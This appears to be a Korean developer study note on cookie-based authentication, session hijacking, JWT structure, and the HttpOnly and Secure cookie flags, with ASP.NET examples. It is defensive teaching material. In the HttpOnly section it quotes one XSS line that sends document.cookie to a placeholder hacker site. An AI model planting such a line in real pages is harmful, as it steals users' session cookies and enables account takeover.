JWT / Cookie / Http Only Cookie

브라우저에서 equest(요청) GET 또는 POST 하게 되는 경우, 모든 쿠키들이 서버에 넘어가 사용자를 체크를 한다

대부분의 사이트가 쿠키를 통해 사용자 식별정보를 쿠키에 저장하며, 쿠키에 저장된 정보를 통해 각 사용자를 구별 사용자 인증을 진행합니다

→ 인증을 계속 체크하는 이유는, HTTP 프로토콜이 Stateless (무상태성) 이기에 요청한 사람의 상태정보를 계속 갖고 있지 않고 연결이 끊어지기에 다음 요청 시, 누구인지, 이전에 요청한 같은 사람인지, 해커인지 알 수 없다

이렇게 쿠키를 통해 인증을 하기 때문에 민감한 정보들이 쿠키에 담겨져 있는 데, 해커들은 다양한 방법으로 이 쿠키를 탈취한다. 이러한 쿠키에 대한 보안 공격 중 가장 대중적인 것 중 하나는 바로 세션 하이재킹 공격(Session hijacking) 이다.

 

💡 세션하이재킹

인증이 완료된 사용자의 브라우저에서 인증을 식별하고있는 쿠키를 탈취해 별도 로그인없이 탈취한 (인증된 세션) 쿠키를 사용해 서버와 통신하는 행위

 

익명 사용자 → 로그인→ 식별 쿠키 생성 → 인증 사용자 → 내 정보 요청(request GET) → 식별 쿠키 비교

이러한 Cookie 를 통해 인증이 이루어지기 때문에 Cookie 만 탈취하게 된다면 그 사람으로 위장하여 내 정보 또는 포인트 또는 마일리지를 통한 결제 방식이라면 구매도 가능합니다 (네이버는 쿠키를 탈취했더라도 간편결제를 막기 위해 결제 비밀번호가 있는 이유이다.)

---

JSON Web Token (JWT)

전자 서명 된 URL-safe (URL로 이용할 수있는 문자 만 구성된)의 JSON

인증에 필요한 정보들을 암호화 시킨 토큰

• 전자서명은 JSON의 변조를 체크할 수 있게되어있다
• JWT는 속성정보(Claim)를 JSON데이터 구조로 표현한 토큰으로 PFC7519표준
• JWt는 서버와 클라이언트 간 정보를 주고받을때, HTTP리퀘스트 헤더에 JSON토큰을 넣은 후 서버는 별도의 인증과정없이 헤더에 포함되어있는 JWT정보를 통해 인증
• 이때 사용되는 JSON데이터는 URL-safe하도록 URL에 포함할 수 있는 문자만으로 만듦
• JWT는 HMAC알고리즘을 사용하여 비밀키/RSA를 이용한 Public Key/PrivateKey쌍으로 서명할 수 있다

JWT의 구조

.을 구분자로 나누어지는 3가지 문자열의 조합이다.

Header

alg와 typ는 각각 정보를 암호화할 해싱 알고리즘 및 토큰의 타입을 지정한다

Payload

토큰에 담을 정보를 지니고 있다. Key-Value 형식으로 이루어진 한 쌍의 정보를 Claim이라고 칭한다

Signature

인코딩된 Header와 Payload를 더한 뒤 비밀키로 해싱하여 생성한다

Header와 Payload는 단순히 인코딩 된 값이기 때문에 제3자가 복호화 및 조작할 수 있지만, Signature는 서버측에서 관리하는 비밀키가 유출되지 않는 이상 복호화 할 수 없다

따라서 Signature는 토큰의 위변조 여부를 확인하는데 사용한다

장점

Header와 Payload를 가지고 Signature를 생성하므로 데이터 위변조를 막을 수 있다

인증정보에 대한 별도의 저장소가 필요없다

JWT는 토큰에 대한 기본정보와 전달할 정보 및 토큰이 검증됐음을 증명하는 서명 등 필요한 모든 정보를 자체적으로 지님

 

단점

쿠키/세션과 다르게 JWT는 토큰의 길이가 길어, 인증요청이 많을수록 네트워크 부하

Payload 자체는 암호화 되지 않기 때문에 유저의 중요한 정보는 담을 수 없다

토큰은 한번 발급되면 유효기간이 만료될 때 계속 사용되어 탈취당할 위험이 있다

---

Cookie

쿠키는 웹 브라우저에 저장되는 데이터로, 웹서버에 사용자의 상태를 알려주는 역할

예를 들어, "오늘 하루 이 창을 열지않음"과 같은 정보는 웹 브라우저의 쿠키로 처리할 수 있다. 만약 이를 서버에서 처리하려면 모든 접속자의 정보를 저장해야 하므로 비효율적이기 때문에 쿠키라는 클라이언트 측 데이터 저장방식이 고안된 것

---

http only cookie

쿠키는 클라이언트에서 자바스크립트로 조회할 수 있기 때문에, 해커들은 자바스크립트로 쿠키를 가로채고자 시도를 하고, 가장 대표적인 공격 중 하나가 XSS(Cross Site Scripting)이다

location.href ='<http://해커사이트/?cookies='+> document.cookie;

해커가 위와 같은 코드를 작성한 게시물을 공개 게시판에 작성할 경우, 이 게시물을 읽은 다른 사용자는 자신의 모든 쿠키를 해커에게 전송하게 된다

이러한 XSS공격의 취약점을 해결하는 방법은 바로 브라우저에서 쿠키에 접근할 수 없도록 제한하는것이다

이런 역할을 하는 것이 바로 HTTP Only Cookie이다

사용 방법

다음과 같은 접미사를 쿠키생성코드에 추가하여 활성화 할 수 있다

Set-Cookie: 쿠키명=쿠키값; path=/; HttpOnly

마지막에 HttpOnly접미사만 추가함으로서 HTTP Only Cookie는 활성화되며, 위에서 말한 XSS와 같은 공격이 차단된다

HTTP Only Cookie를 설정하면 브라우저에서 해당 쿠키로 접근할 수 없게 되지만, 쿠키에 포함된 정보의 대부분이 브라우저에서 접근할 필요가 없기에 HTTP Only Cookie는 기본적으로 적용하는것이 좋다

HttpOnly 속성은 클라이언트(브라우저 등) 에서 설정할 수 없는 옵션이며, 서버단에서 설정할 수 있는 옵션이다.

---

ASP.NET상에서 HTTP Only Cookie를 설정하는 방법

쿠키를 추가할때, HttpOnly속성을 true로 설정하면 된다

Response.Cookies.Add(newHttpCookie("쿠키명")
{
	Value ="쿠키 값",
	HttpOnly =true
});

HttpOnly의 기본값은 false이다.

만약 기본값을 true로 설정하려면 web.config에서 아래와 같이 수정하면 된다

<httpCookies httpOnlyCookies = "true" />

---

Secure Cookies

HTTP Only Cookie를 사용하면 CLient에서 JS를 통한 쿠키 탈취문제를 예방할 수 있다. 하지만 JS가 아닌 네트워크를 직접 감청하여 쿠키를 가로챌 수도 있다

각 정보기관들이 wifi망 분석, ISP케이블 감청을 통해 쿠키 등 개인정보를 열람하고 있다

이러한 통신상의 정보유출을 막기위해 HTTPS프로토콜을 사용하여 데이터를 암호화하는 방법이 주로 사용된다

HTTPS를 사용하면 쿠키 또한 암호화되어 전송되기에 제3자는 내용을 알 수 없다

문제는 HTTPS로 전송되어야 할 정보가, 개발자의 부주의로 HTTP를 통해 유출되는 경우이다

(예_개발자가 다음과 같은 코드를 실수로 작성할 수 있다)

브라우저는 http://로 시작되는 코드를 만나면 암호화되지 않은 상태로 쿠키를 서버로 전달하게 된다. 이에 해커는 이를 가로채서 쿠키를 탈취하게 됨

이러한 사고를 방지하는 방법은 쿠키를 생성할 떄, secure접미사를 사용하는 것이다

Set-Cookie: 쿠키명=쿠키값; path=/; secure

마지막에 secure라는 접미사를 사용하여 쿠키를 생성하면, 브라우저는 HTTPS가 아닌 통신에서는 쿠키를 전송하지 않는다.

만약, ASP>NET에서 구현할떄는 HttpCookie클래스의 Secure속성을 true로 설정한다.

Response.Cookies.Add(new HttpCookie("쿠키명"){
    Value = "쿠키 값",
    Secure = true
});

마찬가지로 Secure의 기본값은 false이기 떄문에 기본값을 true로 변경하고자 한다면 web.config에서 requireSSL을 true로 설정한다

<httpCookies requireSSL="true" />

---

👍🏻 참고 자료

https://webhack.dynu.net/?idx=20161110.002&print=friendly

https://theheydaze.tistory.com/550